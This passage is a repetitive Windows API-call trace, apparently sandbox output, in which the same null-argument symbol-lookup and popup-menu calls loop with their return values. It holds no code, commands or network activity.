SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.243] SymCleanup (hProcess=0x0) returned 0 [0185.243] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.243] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.243] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.243] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.243] GetLastError () returned 0x579 [0185.243] SetLastError (dwErrCode=0x579) [0185.243] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.243] SymCleanup (hProcess=0x0) returned 0 [0185.243] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.243] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.243] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.243] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=234, param_4=429, param_5=0x0, param_6=0x0) returned 0 [0185.243] GetLastError () returned 0x579 [0185.243] SetLastError (dwErrCode=0x579) [0185.243] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.243] SymCleanup (hProcess=0x0) returned 0 [0185.243] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.244] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.244] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.244] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.244] GetLastError () returned 0x579 [0185.244] SetLastError (dwErrCode=0x579) [0185.244] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.244] SymCleanup (hProcess=0x0) returned 0 [0185.244] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.244] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.244] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.244] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.244] GetLastError () returned 0x579 [0185.244] SetLastError (dwErrCode=0x579) [0185.244] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.244] SymCleanup (hProcess=0x0) returned 0 [0185.244] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.244] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.244] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.244] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.244] GetLastError () returned 0x579 [0185.244] SetLastError (dwErrCode=0x579) [0185.244] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.244] SymCleanup (hProcess=0x0) returned 0 [0185.244] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.244] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.245] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.245] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.245] GetLastError () returned 0x579 [0185.245] SetLastError (dwErrCode=0x579) [0185.245] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.245] SymCleanup (hProcess=0x0) returned 0 [0185.245] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.245] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.245] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.245] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=703, param_4=722, param_5=0x0, param_6=0x0) returned 0 [0185.245] GetLastError () returned 0x579 [0185.245] SetLastError (dwErrCode=0x579) [0185.245] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.245] SymCleanup (hProcess=0x0) returned 0 [0185.245] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.245] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.245] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.245] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.245] GetLastError () returned 0x579 [0185.245] SetLastError (dwErrCode=0x579) [0185.245] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.245] SymCleanup (hProcess=0x0) returned 0 [0185.245] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.245] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.245] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.246] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.246] GetLastError () returned 0x579 [0185.246] SetLastError (dwErrCode=0x579) [0185.246] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.246] SymCleanup (hProcess=0x0) returned 0 [0185.246] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.246] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.246] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.246] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.246] GetLastError () returned 0x579 [0185.246] SetLastError (dwErrCode=0x579) [0185.246] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.246] SymCleanup (hProcess=0x0) returned 0 [0185.246] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.246] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.246] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.246] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.246] GetLastError () returned 0x579 [0185.246] SetLastError (dwErrCode=0x579) [0185.246] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.246] SymCleanup (hProcess=0x0) returned 0 [0185.246] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.246] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.246] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.247] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=277, param_4=271, param_5=0x0, param_6=0x0) returned 0 [0185.247] GetLastError () returned 0x579 [0185.247] SetLastError (dwErrCode=0x579) [0185.247] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.247] SymCleanup (hProcess=0x0) returned 0 [0185.247] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.247] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.247] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.247] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.247] GetLastError () returned 0x579 [0185.247] SetLastError (dwErrCode=0x579) [0185.247] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.247] SymCleanup (hProcess=0x0) returned 0 [0185.247] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.247] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.247] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.247] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.247] GetLastError () returned 0x579 [0185.247] SetLastError (dwErrCode=0x579) [0185.247] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.247] SymCleanup (hProcess=0x0) returned 0 [0185.247] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.247] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.247] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.247] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.248] GetLastError () returned 0x579 [0185.248] SetLastError (dwErrCode=0x579) [0185.248] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.248] SymCleanup (hProcess=0x0) returned 0 [0185.248] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.248] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.248] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.248] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=615, param_5=0x0, param_6=0x0) returned 0 [0185.248] GetLastError () returned 0x579 [0185.248] SetLastError (dwErrCode=0x579) [0185.248] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.248] SymCleanup (hProcess=0x0) returned 0 [0185.248] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.248] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.248] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.248] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1121, param_4=489, param_5=0x0, param_6=0x0) returned 0 [0185.248] GetLastError () returned 0x579 [0185.248] SetLastError (dwErrCode=0x579) [0185.248] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.248] SymCleanup (hProcess=0x0) returned 0 [0185.248] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.248] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.248] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.248] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.248] GetLastError () returned 0x579 [0185.249] SetLastError (dwErrCode=0x579) [0185.249] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.249] SymCleanup (hProcess=0x0) returned 0 [0185.249] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.249] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.249] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.249] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.249] GetLastError () returned 0x579 [0185.249] SetLastError (dwErrCode=0x579) [0185.249] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.249] SymCleanup (hProcess=0x0) returned 0 [0185.249] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.249] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.249] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.249] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.249] GetLastError () returned 0x579 [0185.249] SetLastError (dwErrCode=0x579) [0185.249] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.249] SymCleanup (hProcess=0x0) returned 0 [0185.249] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.249] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.249] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.249] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.249] GetLastError () returned 0x579 [0185.250] SetLastError (dwErrCode=0x579) [0185.250] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.250] SymCleanup (hProcess=0x0) returned 0 [0185.250] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.250] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.250] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.250] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=576, param_4=804, param_5=0x0, param_6=0x0) returned 0 [0185.250] GetLastError () returned 0x579 [0185.250] SetLastError (dwErrCode=0x579) [0185.250] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.250] SymCleanup (hProcess=0x0) returned 0 [0185.250] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.250] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.250] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.250] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.250] GetLastError () returned 0x579 [0185.250] SetLastError (dwErrCode=0x579) [0185.250] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.250] SymCleanup (hProcess=0x0) returned 0 [0185.250] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.250] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.250] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.250] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.250] GetLastError () returned 0x579 [0185.250] SetLastError (dwErrCode=0x579) [0185.250] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.251] SymCleanup (hProcess=0x0) returned 0 [0185.251] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.251] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.251] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.251] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.251] GetLastError () returned 0x579 [0185.251] SetLastError (dwErrCode=0x579) [0185.251] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.251] SymCleanup (hProcess=0x0) returned 0 [0185.251] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.251] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.251] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.251] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.251] GetLastError () returned 0x579 [0185.251] SetLastError (dwErrCode=0x579) [0185.251] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.251] SymCleanup (hProcess=0x0) returned 0 [0185.251] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.251] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.251] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.251] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=317, param_4=95, param_5=0x0, param_6=0x0) returned 0 [0185.251] GetLastError () returned 0x579 [0185.251] SetLastError (dwErrCode=0x579) [0185.251] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.251] SymCleanup (hProcess=0x0) returned 0 [0185.252] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.252] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.252] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.252] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.252] GetLastError () returned 0x579 [0185.252] SetLastError (dwErrCode=0x579) [0185.252] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.252] SymCleanup (hProcess=0x0) returned 0 [0185.252] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.252] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.252] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.252] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=609, param_5=0x0, param_6=0x0) returned 0 [0185.252] GetLastError () returned 0x579 [0185.252] SetLastError (dwErrCode=0x579) [0185.252] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.252] SymCleanup (hProcess=0x0) returned 0 [0185.252] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.252] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.252] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.252] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.252] GetLastError () returned 0x579 [0185.252] SetLastError (dwErrCode=0x579) [0185.252] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.252] SymCleanup (hProcess=0x0) returned 0 [0185.252] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.252] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.253] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.253] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1332, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.253] GetLastError () returned 0x579 [0185.253] SetLastError (dwErrCode=0x579) [0185.253] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.253] SymCleanup (hProcess=0x0) returned 0 [0185.253] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.253] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.253] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.253] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=514, param_4=630, param_5=0x0, param_6=0x0) returned 0 [0185.253] GetLastError () returned 0x579 [0185.253] SetLastError (dwErrCode=0x579) [0185.253] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.253] SymCleanup (hProcess=0x0) returned 0 [0185.253] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.253] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.253] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.253] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.253] GetLastError () returned 0x579 [0185.253] SetLastError (dwErrCode=0x579) [0185.253] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.253] SymCleanup (hProcess=0x0) returned 0 [0185.253] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.253] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.253] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.254] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1331, param_4=609, param_5=0x0, param_6=0x0) returned 0 [0185.254] GetLastError () returned 0x579 [0185.254] SetLastError (dwErrCode=0x579) [0185.254] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.254] SymCleanup (hProcess=0x0) returned 0 [0185.254] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.254] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.254] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.254] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.254] GetLastError () returned 0x579 [0185.254] SetLastError (dwErrCode=0x579) [0185.254] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.254] SymCleanup (hProcess=0x0) returned 0 [0185.254] MapDebugInformation (FileHandle=0x0, FileName=0x0, 